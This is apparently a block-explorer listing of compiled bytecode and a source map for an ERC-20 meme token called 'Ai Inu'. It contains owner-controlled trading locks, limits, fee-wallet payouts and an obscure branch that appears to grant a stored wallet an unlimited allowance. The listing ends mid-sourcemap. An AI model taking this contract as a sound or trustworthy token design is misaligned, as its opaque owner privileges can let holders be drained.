92909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610960573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109859190611a1f565b505050565b5f546001600160a01b031633146109b35760405162461bcd60e51b8152600401610507906119bb565b6001600160a01b038116610a185760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610507565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ad35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610507565b6001600160a01b038216610b345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610507565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610507565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610507565b5f8111610cbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610507565b6001600160a01b0382165f9081526002602052604090205460ff16158015610cfb57506001600160a01b0383165f9081526002602052604090205460ff16155b15610f345760065460ff16610d8c575f546001600160a01b03848116911614610d8c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610507565b600b54811115610dde5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610507565b600a546001600160a01b03838116911614610e6357600c5481610e0084610515565b610e0a9190611a5e565b10610e635760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610507565b5f610e6d30610515565b600d54600b54919250821015908210610e8657600b5491505b808015610e9b5750600654610100900460ff16155b8015610eaf575060065462010000900460ff165b8015610ec95750600a546001600160a01b03868116911614155b8015610eed57506001600160a01b0384165f9081526002602052604090205460ff16155b8015610f1157506001600160a01b0385165f9081526002602052604090205460ff16155b15610f3157610f1f826110f2565b478015610f2f57610f2f8161125c565b505b50505b6001600160a01b0383165f9081526002602052604090205460019060ff1680610f7457506001600160a01b0383165f9081526002602052604090205460ff165b80610fa65750600a546001600160a01b03858116911614801590610fa65750600a546001600160a01b03848116911614155b15610fb257505f61102c565b600a546001600160a01b038581169116148015610fdd57506001546001600160a01b03848116911614155b15610fef576010546013556011546007555b600a546001600160a01b03848116911614801561101a57506001546001600160a01b03858116911614155b1561102c576012546013556014546007555b61066f848484846112e8565b5f818484111561105b5760405162461bcd60e51b81526004016105079190611804565b505f6110678486611a71565b95945050505050565b5f600e548211156110d65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610507565b5f6110df611316565b90506110eb8382611337565b9392505050565b6006805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611134576111346119f0565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561118b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111af9190611a04565b816001815181106111c2576111c26119f0565b6001600160a01b0392831660209182029290920101526001546111e89130911684610a71565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112209085905f90869030904290600401611a84565b5f604051808303815f87803b158015611237575f80fd5b505af1158015611249573d5f803e3d5ffd5b50506006805461ff001916905550505050565b5f6015548261126b9190611af5565b90505f6112788284611a71565b6017546040519192506001600160a01b03169083156108fc029084905f818181858888f193505050501580156112b0573d5f803e3d5ffd5b506016546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561066f573d5f803e3d5ffd5b806112f5576112f5611378565b6113008484846113a5565b8061066f5761066f600854601355600954600755565b5f805f6113216114ac565b90925090506113308282611337565b9250505090565b5f6110eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e9565b6013541580156113885750600754155b1561138f57565b60138054600855600780546009555f9182905555565b5f805f805f806113b487611515565b9550955095509550955095506113ca898961156a565b156113d9576113d9898961159d565b6001600160a01b0389165f908152600360205260409020546113fb90876115df565b6001600160a01b03808b165f9081526003602052604080822093909355908a16815220546114299086611620565b6001600160a01b0389165f9081526003602052604090205561144a8161167e565b61145484836116c4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161149991815260200190565b60405180910390a3505050505050505050565b600e545f90819066011db9d79916006114c58282611337565b8210156114e0575050600e549266011db9d799160092509050565b90939092509050565b5f81836115095760405162461bcd60e51b81526004016105079190611804565b505f6110678486611af5565b5f805f805f805f805f61152d8a6013546007546116e8565b9250925092505f61153c611316565b90505f805f61154d8e87878761173a565b919e509c509a509598509396509194505050505091939550919395565b600a545f906001600160a01b0383811691161480156110eb57506016546001600160a01b03848116911614905092915050565b6001600160a01b038082165f908152600560209081526040808320938616835292905220545f1911156115db576115d681835f19610a71565b5f6015555b5050565b5f6110eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611038565b5f8061162c8385611a5e565b9050838110156110eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610507565b5f611687611316565b90505f6116948383611786565b305f908152600360205260409020549091506116b09082611620565b305f90815260036020526040902055505050565b600e546116d190836115df565b600e55600f546116e19082611620565b600f555050565b5f80808061170160646116fb8989611786565b90611337565b90505f61171360646116fb8a89611786565b90505f61172a826117248b866115df565b906115df565b9992985090965090945050505050565b5f8080806117488886611786565b90505f6117558887611786565b90505f6117628888611786565b90505f6117738261172486866115df565b939b939a50919850919650505050505050565b5f825f0361179557505f610471565b5f6117a08385611b14565b9050826117ad8583611af5565b146110eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610507565b5f602080835283518060208501525f5b8181101561183057858101830151858201604001528201611814565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611864575f80fd5b50565b5f8060408385031215611878575f80fd5b823561188381611850565b946020939093013593505050565b5f805f606084860312156118a3575f80fd5b83356118ae81611850565b925060208401356118be81611850565b929592945050506040919091013590565b5f602082840312156118df575f80fd5b5035919050565b5f602082840312156118f6575f80fd5b81356110eb81611850565b5f805f60408486031215611913575f80fd5b833567ffffffffffffffff8082111561192a575f80fd5b818601915086601f83011261193d575f80fd5b81358181111561194b575f80fd5b8760208260051b850101111561195f575f80fd5b602092830195509350508401358015158114611979575f80fd5b809150509250925092565b5f8060408385031215611995575f80fd5b82356119a081611850565b915060208301356119b081611850565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a14575f80fd5b81516110eb81611850565b5f805f60608486031215611a31575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561047157610471611a4a565b8181038181111561047157610471611a4a565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611ad45784516001600160a01b031683529383019391830191600101611aaf565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b0f57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761047157610471611a4a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201a3aa9b6d37fef3923b2d16f0c178f44f53a71ce1d3bebc3943a187e821216df64736f6c63430008160033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c806370a08231116100b357806395d89b411161006d57806395d89b411461038c578063a9059cbb146103b8578063c816841b146103d7578063dd62ed3e146103f6578063ed9953071461043a578063f2fde38b14610442575f80fd5b806370a08231146102f6578063715018a614610315578063751039fc1461032957806383364ea21461033d5780638a8c523c1461035c5780638da5cb5b14610370575f80fd5b806318160ddd1161010457806318160ddd1461024e57806323b872dd14610267578063313ce567146102865780633d8af5f2146102a15780634f473db0146102b6578063659419a4146102d7575f80fd5b8063039cc7491461015557806306fdde031461017d578063095ea7b3146101b45780630e5a9231146101e357806311a63e17146101f85780631694505e1461022f575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016a600b5481565b6040519081526020015b60405180910390f35b348015610188575f80fd5b50604080518082019091526006815265416920496e7560d01b60208201525b6040516101749190611804565b3480156101bf575f80fd5b506101d36101ce366004611867565b610461565b6040519015158152602001610174565b3480156101ee575f80fd5b5061016a600d5481565b348015610203575f80fd5b50601754610217906001600160a01b031681565b6040516001600160a01b039091168152602001610174565b34801561023a575f80fd5b50600154610217906001600160a01b031681565b348015610259575f80fd5b5066011db9d799160061016a565b348015610272575f80fd5b506101d3610281366004611891565b610477565b348015610291575f80fd5b5060405160098152602001610174565b3480156102ac575f80fd5b5061016a600c5481565b3480156102c1575f80fd5b506102d56102d03660046118cf565b6104de565b005b3480156102e2575f80fd5b50601654610217906001600160a01b031681565b348015610301575f80fd5b5061016a6103103660046118e6565b610515565b348015610320575f80fd5b506102d5610536565b348015610334575f80fd5b506102d56105a7565b348015610348575f80fd5b506102d5610357366004611901565b6105e2565b348015610367575f80fd5b506102d5610675565b34801561037b575f80fd5b505f546001600160a01b0316610217565b348015610397575f80fd5b5060408051808201909152600481526341494e5560e01b60208201526101a7565b3480156103c3575f80fd5b506101d36103d2366004611867565b610704565b3480156103e2575f80fd5b50600a54610217906001600160a01b031681565b348015610401575f80fd5b5061016a610410366004611984565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b6102d5610710565b34801561044d575f80fd5b506102d561045c3660046118e6565b61098a565b5f61046d338484610a71565b5060015b92915050565b5f610483848484610b94565b6104d484336104cf85604051806060016040528060288152602001611b2c602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611038565b610a71565b5060019392505050565b5f546001600160a01b031633146105105760405162461bcd60e51b8152600401610507906119bb565b60405180910390fd5b600d55565b6001600160a01b0381165f9081526003602052604081205461047190611070565b5f546001600160a01b0316331461055f5760405162461bcd60e51b8152600401610507906119bb565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d05760405162461bcd60e51b8152600401610507906119bb565b66011db9d7991600600b819055600c55565b5f546001600160a01b0316331461060b5760405162461bcd60e51b8152600401610507906119bb565b5f5b8281101561066f578160025f86868581811061062b5761062b6119f0565b905060200201602081019061064091906118e6565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905560010161060d565b50505050565b5f546001600160a01b0316331461069e5760405162461bcd60e51b8152600401610507906119bb565b60065460ff16156106f15760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610507565b6006805462ff00ff191662010001179055565b5f61046d338484610b94565b5f546001600160a01b031633146107395760405162461bcd60e51b8152600401610507906119bb565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610789573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ad9190611a04565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108309190611a04565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561087a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061089e9190611a04565b600a80546001600160a01b0319166001600160a01b039283161790556001546108cb913091165f19610a71565b6001546001600160a01b031663f305d71934306108e781610515565b5f806108fa5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610960573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109859190611a1f565b505050565b5f546001600160a01b031633146109b35760405162461bcd60e51b8152600401610507906119bb565b6001600160a01b038116610a185760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610507565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ad35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610507565b6001600160a01b038216610b345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610507565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610507565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610507565b5f8111610cbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610507565b6001600160a01b0382165f9081526002602052604090205460ff16158015610cfb57506001600160a01b0383165f9081526002602052604090205460ff16155b15610f345760065460ff16610d8c575f546001600160a01b03848116911614610d8c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610507565b600b54811115610dde5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610507565b600a546001600160a01b03838116911614610e6357600c5481610e0084610515565b610e0a9190611a5e565b10610e635760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610507565b5f610e6d30610515565b600d54600b54919250821015908210610e8657600b5491505b808015610e9b5750600654610100900460ff16155b8015610eaf575060065462010000900460ff165b8015610ec95750600a546001600160a01b03868116911614155b8015610eed57506001600160a01b0384165f9081526002602052604090205460ff16155b8015610f1157506001600160a01b0385165f9081526002602052604090205460ff16155b15610f3157610f1f826110f2565b478015610f2f57610f2f8161125c565b505b50505b6001600160a01b0383165f9081526002602052604090205460019060ff1680610f7457506001600160a01b0383165f9081526002602052604090205460ff165b80610fa65750600a546001600160a01b03858116911614801590610fa65750600a546001600160a01b03848116911614155b15610fb257505f61102c565b600a546001600160a01b038581169116148015610fdd57506001546001600160a01b03848116911614155b15610fef576010546013556011546007555b600a546001600160a01b03848116911614801561101a57506001546001600160a01b03858116911614155b1561102c576012546013556014546007555b61066f848484846112e8565b5f818484111561105b5760405162461bcd60e51b81526004016105079190611804565b505f6110678486611a71565b95945050505050565b5f600e548211156110d65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610507565b5f6110df611316565b90506110eb8382611337565b9392505050565b6006805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611134576111346119f0565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561118b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111af9190611a04565b816001815181106111c2576111c26119f0565b6001600160a01b0392831660209182029290920101526001546111e89130911684610a71565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112209085905f90869030904290600401611a84565b5f604051808303815f87803b158015611237575f80fd5b505af1158015611249573d5f803e3d5ffd5b50506006805461ff001916905550505050565b5f6015548261126b9190611af5565b90505f6112788284611a71565b6017546040519192506001600160a01b03169083156108fc029084905f818181858888f193505050501580156112b0573d5f803e3d5ffd5b506016546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561066f573d5f803e3d5ffd5b806112f5576112f5611378565b6113008484846113a5565b8061066f5761066f600854601355600954600755565b5f805f6113216114ac565b90925090506113308282611337565b9250505090565b5f6110eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e9565b6013541580156113885750600754155b1561138f57565b60138054600855600780546009555f9182905555565b5f805f805f806113b487611515565b9550955095509550955095506113ca898961156a565b156113d9576113d9898961159d565b6001600160a01b0389165f908152600360205260409020546113fb90876115df565b6001600160a01b03808b165f9081526003602052604080822093909355908a16815220546114299086611620565b6001600160a01b0389165f9081526003602052604090205561144a8161167e565b61145484836116c4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161149991815260200190565b60405180910390a3505050505050505050565b600e545f90819066011db9d79916006114c58282611337565b8210156114e0575050600e549266011db9d799160092509050565b90939092509050565b5f81836115095760405162461bcd60e51b81526004016105079190611804565b505f6110678486611af5565b5f805f805f805f805f61152d8a6013546007546116e8565b9250925092505f61153c611316565b90505f805f61154d8e87878761173a565b919e509c509a509598509396509194505050505091939550919395565b600a545f906001600160a01b0383811691161480156110eb57506016546001600160a01b03848116911614905092915050565b6001600160a01b038082165f908152600560209081526040808320938616835292905220545f1911156115db576115d681835f19610a71565b5f6015555b5050565b5f6110eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611038565b5f8061162c8385611a5e565b9050838110156110eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610507565b5f611687611316565b90505f6116948383611786565b305f908152600360205260409020549091506116b09082611620565b305f90815260036020526040902055505050565b600e546116d190836115df565b600e55600f546116e19082611620565b600f555050565b5f80808061170160646116fb8989611786565b90611337565b90505f61171360646116fb8a89611786565b90505f61172a826117248b866115df565b906115df565b9992985090965090945050505050565b5f8080806117488886611786565b90505f6117558887611786565b90505f6117628888611786565b90505f6117738261172486866115df565b939b939a50919850919650505050505050565b5f825f0361179557505f610471565b5f6117a08385611b14565b9050826117ad8583611af5565b146110eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610507565b5f602080835283518060208501525f5b8181101561183057858101830151858201604001528201611814565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611864575f80fd5b50565b5f8060408385031215611878575f80fd5b823561188381611850565b946020939093013593505050565b5f805f606084860312156118a3575f80fd5b83356118ae81611850565b925060208401356118be81611850565b929592945050506040919091013590565b5f602082840312156118df575f80fd5b5035919050565b5f602082840312156118f6575f80fd5b81356110eb81611850565b5f805f60408486031215611913575f80fd5b833567ffffffffffffffff8082111561192a575f80fd5b818601915086601f83011261193d575f80fd5b81358181111561194b575f80fd5b8760208260051b850101111561195f575f80fd5b602092830195509350508401358015158114611979575f80fd5b809150509250925092565b5f8060408385031215611995575f80fd5b82356119a081611850565b915060208301356119b081611850565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a14575f80fd5b81516110eb81611850565b5f805f60608486031215611a31575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561047157610471611a4a565b8181038181111561047157610471611a4a565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611ad45784516001600160a01b031683529383019391830191600101611aaf565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b0f57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761047157610471611a4a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201a3aa9b6d37fef3923b2d16f0c178f44f53a71ce1d3bebc3943a187e821216df64736f6c63430008160033

Deployed Bytecode Sourcemap

4585:13449:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5611:57;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5611:57:0;;;;;;;;6956:83;;;;;;;;;;-1:-1:-1;7026:5:0;;;;;;;;;;;;-1:-1:-1;;;7026:5:0;;;;6956:83;;;;;;;:::i;8803:193::-;;;;;;;;;;-1:-1:-1;8803:193:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;8803:193:0;1205:187:1;5752:51:0;;;;;;;;;;;;;;;;6360:87;;;;;;;;;;-1:-1:-1;6360:87:0;;;;-1:-1:-1;;;;;6360:87:0;;;;;;-1:-1:-1;;;;;1577:32:1;;;1559:51;;1547:2;1532:18;6360:87:0;1397:219:1;4671:41:0;;;;;;;;;;-1:-1:-1;4671:41:0;;;;-1:-1:-1;;;;;4671:41:0;;;7379:95;;;;;;;;;;-1:-1:-1;5014:14:0;7379:95;;9004:446;;;;;;;;;;-1:-1:-1;9004:446:0;;;;;:::i;:::-;;:::i;7142:83::-;;;;;;;;;;-1:-1:-1;7142:83:0;;4862:1;2458:36:1;;2446:2;2431:18;7142:83:0;2316:184:1;5681:58:0;;;;;;;;;;;;;;;;13611:130;;;;;;;;;;-1:-1:-1;13611:130:0;;;;;:::i;:::-;;:::i;:::-;;6266:87;;;;;;;;;;-1:-1:-1;6266:87:0;;;;-1:-1:-1;;;;;6266:87:0;;;7233:138;;;;;;;;;;-1:-1:-1;7233:138:0;;;;;:::i;:::-;;:::i;4430:148::-;;;;;;;;;;;;;:::i;13189:132::-;;;;;;;;;;;;;:::i;13329:230::-;;;;;;;;;;-1:-1:-1;13329:230:0;;;;;:::i;:::-;;:::i;8409:179::-;;;;;;;;;;;;;:::i;3964:79::-;;;;;;;;;;-1:-1:-1;4002:7:0;4029:6;-1:-1:-1;;;;;4029:6:0;3964:79;;7047:87;;;;;;;;;;-1:-1:-1;7119:7:0;;;;;;;;;;;;-1:-1:-1;;;7119:7:0;;;;7047:87;;8596:199;;;;;;;;;;-1:-1:-1;8596:199:0;;;;;:::i;:::-;;:::i;5576:26::-;;;;;;;;;;-1:-1:-1;5576:26:0;;;;-1:-1:-1;;;;;5576:26:0;;;7482:184;;;;;;;;;;-1:-1:-1;7482:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7631:18:0;;;7599:7;7631:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7482:184;7913:484;;;:::i;4178:244::-;;;;;;;;;;-1:-1:-1;4178:244:0;;;;;:::i;:::-;;:::i;8803:193::-;8905:4;8927:39;752:10;8950:7;8959:6;8927:8;:39::i;:::-;-1:-1:-1;8984:4:0;8803:193;;;;;:::o;9004:446::-;9136:4;9153:36;9163:6;9171:9;9182:6;9153:9;:36::i;:::-;9200:220;9223:6;752:10;9271:138;9327:6;9271:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9271:19:0;;;;;;:11;:19;;;;;;;;752:10;9271:33;;;;;;;;;;:37;:138::i;:::-;9200:8;:220::i;:::-;-1:-1:-1;9438:4:0;9004:446;;;;;:::o;13611:130::-;4091:6;;-1:-1:-1;;;;;4091:6:0;752:10;4091:22;4083:67;;;;-1:-1:-1;;;4083:67:0;;;;;;;:::i;:::-;;;;;;;;;13698:14:::1;:35:::0;13611:130::o;7233:138::-;-1:-1:-1;;;;;7346:16:0;;7299:7;7346:16;;;:7;:16;;;;;;7326:37;;:19;:37::i;4430:148::-;4091:6;;-1:-1:-1;;;;;4091:6:0;752:10;4091:22;4083:67;;;;-1:-1:-1;;;4083:67:0;;;;;;;:::i;:::-;4537:1:::1;4521:6:::0;;4500:40:::1;::::0;-1:-1:-1;;;;;4521:6:0;;::::1;::::0;4500:40:::1;::::0;4537:1;;4500:40:::1;4568:1;4551:19:::0;;-1:-1:-1;;;;;;4551:19:0::1;::::0;;4430:148::o;13189:132::-;4091:6;;-1:-1:-1;;;;;4091:6:0;752:10;4091:22;4083:67;;;;-1:-1:-1;;;4083:67:0;;;;;;;:::i;:::-;5014:14:::1;13241:20;:30:::0;;;13282:21:::1;:31:::0;13189:132::o;13329:230::-;4091:6;;-1:-1:-1;;;;;4091:6:0;752:10;4091:22;4083:67;;;;-1:-1:-1;;;4083:67:0;;;;;;;:::i;:::-;13442:9:::1;13438:114;13457:19:::0;;::::1;13438:114;;;13532:8;13498:18;:31;13517:8;;13526:1;13517:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13498:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13498:31:0;:42;;-1:-1:-1;;13498:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;13478:3:0::1;13438:114;;;;13329:230:::0;;;:::o;8409:179::-;4091:6;;-1:-1:-1;;;;;4091:6:0;752:10;4091:22;4083:67;;;;-1:-1:-1;;;4083:67:0;;;;;;;:::i;:::-;8473:14:::1;::::0;::::1;;8472:15;8464:54;;;::::0;-1:-1:-1;;;8464:54:0;;5025:2:1;8464:54:0::1;::::0;::::1;5007:21:1::0;5064:2;5044:18;;;5037:30;5103:28;5083:18;;;5076:56;5149:18;;8464:54:0::1;4823:350:1::0;8464:54:0::1;8529:14;:21:::0;;-1:-1:-1;;8561:19:0;;;;;8409:179::o;8596:199::-;8701:4;8723:42;752:10;8747:9;8758:6;8723:9;:42::i;7913:484::-;4091:6;;-1:-1:-1;;;;;4091:6:0;752:10;4091:22;4083:67;;;;-1:-1:-1;;;4083:67:0;;;;;;;:::i;:::-;8010:15:::1;;;;;;;;;-1:-1:-1::0;;;;;8010:15:0::1;-1:-1:-1::0;;;;;8010:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7992:55:0::1;;8056:4;8063:15;;;;;;;;;-1:-1:-1::0;;;;;8063:15:0::1;-1:-1:-1::0;;;;;8063:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7992:94;::::0;-1:-1:-1;;;;;;7992:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5664:15:1;;;7992:94:0::1;::::0;::::1;5646:34:1::0;5716:15;;5696:18;;;5689:43;5581:18;;7992:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7978:11;:108:::0;;-1:-1:-1;;;;;;7978:108:0::1;-1:-1:-1::0;;;;;7978:108:0;;::::1;;::::0;;-1:-1:-1;8129:15:0;8097:68:::1;::::0;8114:4:::1;::::0;8129:15:::1;-1:-1:-1::0;;8097:8:0::1;:68::i;:::-;8176:15;::::0;-1:-1:-1;;;;;8176:15:0::1;:31;8215:9;8248:4;8268:24;8248:4:::0;8268:9:::1;:24::i;:::-;8307:1;8324::::0;8341:7:::1;4002::::0;4029:6;-1:-1:-1;;;;;4029:6:0;;3964:79;8341:7:::1;8176:213;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8176:213:0;;;-1:-1:-1;;;;;6102:15:1;;;8176:213:0::1;::::0;::::1;6084:34:1::0;6134:18;;;6127:34;;;;6177:18;;;6170:34;;;;6220:18;;;6213:34;6284:15;;;6263:19;;;6256:44;8363:15:0::1;6316:19:1::0;;;6309:35;6018:19;;8176:213:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7913:484::o:0;4178:244::-;4091:6;;-1:-1:-1;;;;;4091:6:0;752:10;4091:22;4083:67;;;;-1:-1:-1;;;4083:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4267:22:0;::::1;4259:73;;;::::0;-1:-1:-1;;;4259:73:0;;6868:2:1;4259:73:0::1;::::0;::::1;6850:21:1::0;6907:2;6887:18;;;6880:30;6946:34;6926:18;;;6919:62;-1:-1:-1;;;6997:18:1;;;6990:36;7043:19;;4259:73:0::1;6666:402:1::0;4259:73:0::1;4369:6;::::0;;4348:38:::1;::::0;-1:-1:-1;;;;;4348:38:0;;::::1;::::0;4369:6;::::1;::::0;4348:38:::1;::::0;::::1;4397:6;:17:::0;;-1:-1:-1;;;;;;4397:17:0::1;-1:-1:-1::0;;;;;4397:17:0;;;::::1;::::0;;;::::1;::::0;;4178:244::o;9458:369::-;-1:-1:-1;;;;;9585:19:0;;957